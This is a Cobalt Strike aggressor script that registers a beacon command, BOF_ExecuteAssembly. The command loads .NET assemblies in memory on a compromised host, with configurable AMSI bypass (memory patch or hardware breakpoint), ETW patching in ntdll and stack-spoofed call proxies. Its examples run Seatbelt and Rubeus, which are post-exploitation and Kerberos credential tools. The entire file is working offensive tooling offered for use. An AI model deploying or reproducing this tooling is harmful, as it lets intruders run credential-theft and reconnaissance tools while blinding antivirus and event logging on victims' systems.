BOF_ExecuteAssembly.cna

# ================================================================
# BOF_ExecuteAssembly - Execute .NET assemblies in-memory
# By NtDallas
# ================================================================

# ================================================================
# DEFAULT CONFIGURATION
# ================================================================
$proxy_method = "Draugr";
$amsi_evasion = "Patch";
$etw_evasion = "Patch NtDll";
$pipe_name = "SharpInlinePipe";
$appdomain_name = "DefaultDomain";

# ================================================================
# CONFIGURATION DIALOG
# ================================================================
sub ExecuteAssemblyConfig {
    local('%config_dialog $dialog');
    
    %config_dialog["proxy_method"] = $proxy_method;
    %config_dialog["amsi_evasion"] = $amsi_evasion;
    %config_dialog["etw_evasion"] = $etw_evasion;
    %config_dialog["pipe_name"] = $pipe_name;
    %config_dialog["appdomain_name"] = $appdomain_name;
    
    $dialog = dialog("ExecuteAssembly Configuration", %config_dialog, &ExecuteAssemblyConfigSave);
    
    dialog_description($dialog, "Configure ExecuteAssembly BOF behavior");
    
    drow_combobox($dialog, "proxy_method", "Proxy Method:", @("None", "Draugr", "Regwait", "Timer"));
    drow_combobox($dialog, "amsi_evasion", "AMSI Evasion:", @("None", "Patch", "HWBP"));
    drow_combobox($dialog, "etw_evasion", "ETW Evasion:", @("None", "Patch NtDll"));
    drow_text($dialog, "pipe_name", "Pipe Name:");
    drow_text($dialog, "appdomain_name", "AppDomain Name:");
    
    dbutton_action($dialog, "Save");
    dialog_show($dialog);
}

sub ExecuteAssemblyConfigSave {
    $proxy_method = $3["proxy_method"];
    $amsi_evasion = $3["amsi_evasion"];
    $etw_evasion = $3["etw_evasion"];
    $pipe_name = $3["pipe_name"];
    $appdomain_name = $3["appdomain_name"];
}

# ================================================================
# UI INTEGRATION
# ================================================================
popup custom_additionals {
    item "ExecuteAssembly Config" {
        ExecuteAssemblyConfig();
    }
}

menubar("Additionals postex", "custom_additionals");

# ================================================================
# BEACON COMMAND REGISTRATION
# ================================================================
beacon_command_register(
    "BOF_ExecuteAssembly",
    "Execute .NET assembly in-memory using BOF",
    "Synopsis: BOF_ExecuteAssembly --assembly <path> --args <arguments>\n\n" .
    "Execute a .NET assembly entirely in-memory with advanced evasion.\n\n" .
    "Arguments:\n" .
    "  --assembly <path>    Path to .NET assembly (.exe or .dll)\n" .
    "  --args <arguments>   Optional arguments to pass to the assembly\n\n" .
    "Examples:\n" .
    "  BOF_ExecuteAssembly --assembly /tmp/Seatbelt.exe --args -group=all\n" .
    "  BOF_ExecuteAssembly --assembly C:\\Tools\\Rubeus.exe --args klist\n" .
    "Configuration:\n" .
    "  Use 'Additionals postex -> ExecuteAssembly Config' to modify:\n" .
    "    - Proxy Method (None/Draugr/Regwait/Timer)\n" .
    "    - AMSI Evasion (None/Patch/HWBP)\n" .
    "    - ETW Evasion (None/Patch NtDll)\n" .
    "    - Pipe Name\n" .
    "    - AppDomain Name"
);

# ================================================================
# HELPER FUNCTIONS
# ================================================================
sub ProxyMethodToInt {
    local('$method');
    $method = $1;
    
    if ($method eq "None") { return 0; }
    if ($method eq "Draugr") { return 1; }
    if ($method eq "Regwait") { return 2; }
    if ($method eq "Timer") { return 3; }
    return 0;
}

sub AmsiEvasionToInt {
    local('$method');
    $method = $1;
    
    if ($method eq "None") { return 0; }
    if ($method eq "Patch") { return 1; }
    if ($method eq "HWBP") { return 2; }
    return 0;
}

sub EtwEvasionToInt {
    local('$method');
    $method = $1;
    
    if ($method eq "None") { return 0; }
    if ($method eq "Patch NtDll") { return 1; }
    return 0;
}

# ================================================================
# MAIN ALIAS
# ================================================================
alias BOF_ExecuteAssembly {
    local('$barch $bof_path $handle $bof_data $args');
    local('$assembly_path $assembly_data $assembly_args');
    local('$i $parsing_assembly $parsing_args');
    local('$proxy_int $amsi_int $etw_int');
    
    # Initialisation
    $assembly_path = "";
    $assembly_args = "";
    $parsing_assembly = 0;
    $parsing_args = 0;
    
    # Parse les arguments de la commande
    for ($i = 1; $i < size(@_); $i++) {
        if ($parsing_assembly == 1) {
            $assembly_path = @_[$i];
            $parsing_assembly = 0;
        }
        else if ($parsing_args == 1) {
            # Récupérer tous les arguments restants
            while ($i < size(@_)) {
                if (strlen($assembly_args) > 0) {
                    $assembly_args .= " ";
                }
                $assembly_args .= @_[$i];
                $i++;
            }
            break;
        }
        else if (@_[$i] eq "--assembly") {
            $parsing_assembly = 1;
        }
        else if (@_[$i] eq "--args") {
            $parsing_args = 1;
        }
    }
    
    # Validation des paramètres
    if ($assembly_path eq "") {
        berror($1, "[!] Error: --assembly parameter is required");
        berror($1, "[!] Usage: BOF_ExecuteAssembly --assembly <path> [--args <arguments>]");
        return;
    }
    
    if (!-exists $assembly_path) {
        berror($1, "[!] Error: Assembly file not found: $assembly_path");
        return;
    }
    
    # Lecture de l'assembly
    $handle = openf($assembly_path);
    if ($handle is $null) {
        berror($1, "[!] Error: Failed to open assembly file");
        return;
    }
    
    $assembly_data = readb($handle, -1);
    closef($handle);
    
    if (strlen($assembly_data) == 0) {
        berror($1, "[!] Error: Assembly file is empty or could not be read");
        return;
    }
    
    # Détermination de l'architecture
    $barch = barch($1);
    
    # Sélection du BOF approprié
    if ($barch eq "x64") {
        $bof_path = script_resource("Bin/BOF_ExecuteAssembly.o");
    }
    else {
        $bof_path = script_resource("BOF_ExecuteAssembly.x86.o");
    }
    
    if (!-exists $bof_path) {
        berror($1, "[!] Error: BOF file not found: $bof_path");
        berror($1, "[!] Expected location: $bof_path");
        return;
    }
    
    # Lecture du BOF
    $handle = openf($bof_path);
    $bof_data = readb($handle, -1);
    closef($handle);
    
    # Conversion des configurations en entiers
    $proxy_int = ProxyMethodToInt($proxy_method);
    $amsi_int = AmsiEvasionToInt($amsi_evasion);
    $etw_int = EtwEvasionToInt($etw_evasion);
    
    # Packing des arguments pour le BOF
    # Format: iii = 3 entiers, ZZ = 2 strings zero-terminated, b = blob binaire, i = taille du blob, Z = string args
    $args = bof_pack($1, "iiiZZbZ",
        $proxy_int,
        $amsi_int,
        $etw_int,
        $pipe_name,
        $appdomain_name,
        $assembly_data,
        $assembly_args
    );
       
    beacon_inline_execute($1, $bof_data, "go", $args);
}

# ================================================================
# HELP ALIAS
# ================================================================
alias help_executeassembly {
    show_message(
        "BOF_ExecuteAssembly - Execute .NET assemblies in-memory\n\n" .
        "USAGE:\n" .
        "  BOF_ExecuteAssembly --assembly <path> --args <arguments>\n\n" .
        "ARGUMENTS:\n" .
        "  --assembly <path>    Path to .NET assembly (.exe or .dll)\n" .
        "  --args <arguments>   Optional arguments to pass to assembly\n\n" .
        "EXAMPLES:\n" .
        "  BOF_ExecuteAssembly --assembly /tmp/Seatbelt.exe --args -group=all\n" .
        "  BOF_ExecuteAssembly --assembly C:\\Tools\\Rubeus.exe --args klist\n" .
        "CONFIGURATION:\n" .
        "  Access via: Additionals postex -> ExecuteAssembly Config\n\n" .
        "  Proxy Methods:\n" .
        "    - None: Direct API calls\n" .
        "    - Draugr: Stack spoofed calls\n" .
        "    - Regwait: RegisterWaitForSingleObject callback\n" .
        "    - Timer: Timer Queue callback\n\n" .
        "  AMSI Evasion:\n" .
        "    - None: No AMSI bypass\n" .
        "    - Patch: Patch AMSI in memory\n" .
        "    - HWBP: Hardware breakpoint bypass\n\n" .
        "  ETW Evasion:\n" .
        "    - None: No ETW bypass\n" .
        "    - Patch NtDll: Patch ETW functions in ntdll\n\n" .
        "Current Configuration:\n" .
        "  Proxy: $proxy_method\n" .
        "  AMSI: $amsi_evasion\n" .
        "  ETW: $etw_evasion\n" .
        "  Pipe: $pipe_name\n" .
        "  AppDomain: $appdomain_name"
    );
}

# ================================================================
# INITIALIZATION
# ================================================================
println("");
println("[+] BOF_ExecuteAssembly loaded successfully");
println("[+] Command: BOF_ExecuteAssembly");
println("[+] Help: help_executeassembly");
println("[+] Config: Additionals postex -> ExecuteAssembly Config");
println("");
println("[*] Default Configuration:");
println("    Proxy Method: $proxy_method");
println("    AMSI Evasion: $amsi_evasion");
println("    ETW Evasion: $etw_evasion");
println("    Pipe Name: $pipe_name");
println("    AppDomain: $appdomain_name");
println("");